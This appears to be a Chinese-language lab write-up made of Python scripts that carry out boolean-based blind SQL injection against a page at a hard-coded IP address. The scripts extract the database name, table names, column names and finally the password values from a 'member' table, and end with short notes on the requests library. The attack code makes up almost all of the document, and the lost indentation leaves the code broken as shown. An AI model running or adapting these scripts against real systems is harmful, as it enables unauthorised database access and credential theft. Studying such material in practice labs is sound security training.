数据库长度
from requests import *
r=session()
url = 'http://124.70.71.251:40332/new_list.php?id=1 and length(database())='
for i in range(20):
url1=url+str(i)
re=r.get(url1)
if "2018" in re.text:
print(i)
数据库名称
from requests import *
r=session()
url = 'http://124.70.71.251:40545/new_list.php?id=1 and '
for i in range(10):
for j in range(48,128):
payload=url+'ascii(substr(database(),'+str(i)+',1))='+str(j)+"--+"
re=r.get(payload)
if "2018" in re.text:
print(chr(j),end='')
数据库表数量
from requests import *
r = session()
url = 'http://124.70.71.251:47637/new_list.php?id=1 and '
for i in range(20):
payload = url + "(select count(table_name) from information_schema.tables where table_schema='stormgroup')=" + str(i) + "--+"
re = r.get(payload)
if '2018' in re.text:
print(i)
数据库表名
from requests import *
r = session()
url = 'http://124.70.71.251:47637/new_list.php?id=1 and '
for i in range(20):
for j in range(2):
payload = url + "length((select table_name from information_schema.tables where table_schema='stormgroup' limit " + str(j) + ",1))=" + str(i) + "--+"
re = r.get(payload)
if "2018" in re.text:
print(i)
字段数量
from requests import *
r=session()
url = 'http://124.70.71.251:47637/new_list.php?id=1 and '
for i in range(10):
payload=url+"(select count(column_name) from information_schema.columns where table_schema='stormgroup' and table_name='member')="+str(i)+" --+"
re=r.get(payload)
if "2018" in re.text:
print(i)
字段名
from requests import *
r = session()
url = 'http://124.70.71.251:47637/new_list.php?id=1 and '
for k in range(3):
for j in range(10):
for i in range(47, 128):
payload = url + "ascii(substr((select column_name from information_schema.columns where table_name='member' limit "+str(k)+",1)," + str(
j) + ",1))=" + str(i) + "--+"
re = r.get(payload)
if "2018" in re.text:
print(chr(i), end="")
print("\n")
爆破表中密码
from requests import *
r=session()
url = 'http://124.70.71.251:47637/new_list.php?id=1 and '
for i in range(3):
for j in range(50):
for k in range(48, 128):
payload = url + "ascii(substr((select password from member limit "+str(i)+",1)," + str(j) + ",1))=" + str(k) + " --+"
re = r.get(payload)
if "2018" in re.text:
print(chr(k), end="")
print("\n")
对一些代码做一下解释：
r=session()：它的作用是创建一个新的会话对象，该对象可以用于管理与远程服务器之间的连接和请求。通过使用会话对象，你可以保持一些状态信息，例如cookies、headers等，以便在不同的请求之间共享。
re.text:直接输出 re 对象会显示该对象的默认字符串表示形式，通常是一个包含响应头和状态信息的字符串。这个字符串对于理解响应的整体结构可能是有帮助的，但如果你只关心响应的主体内容，那么使用 re.txt 会更加方便和直观。
比如：
import requests
url = 'https://www.example.com'
response = requests.get(url)
print(response)
//输出
//<Response [200]>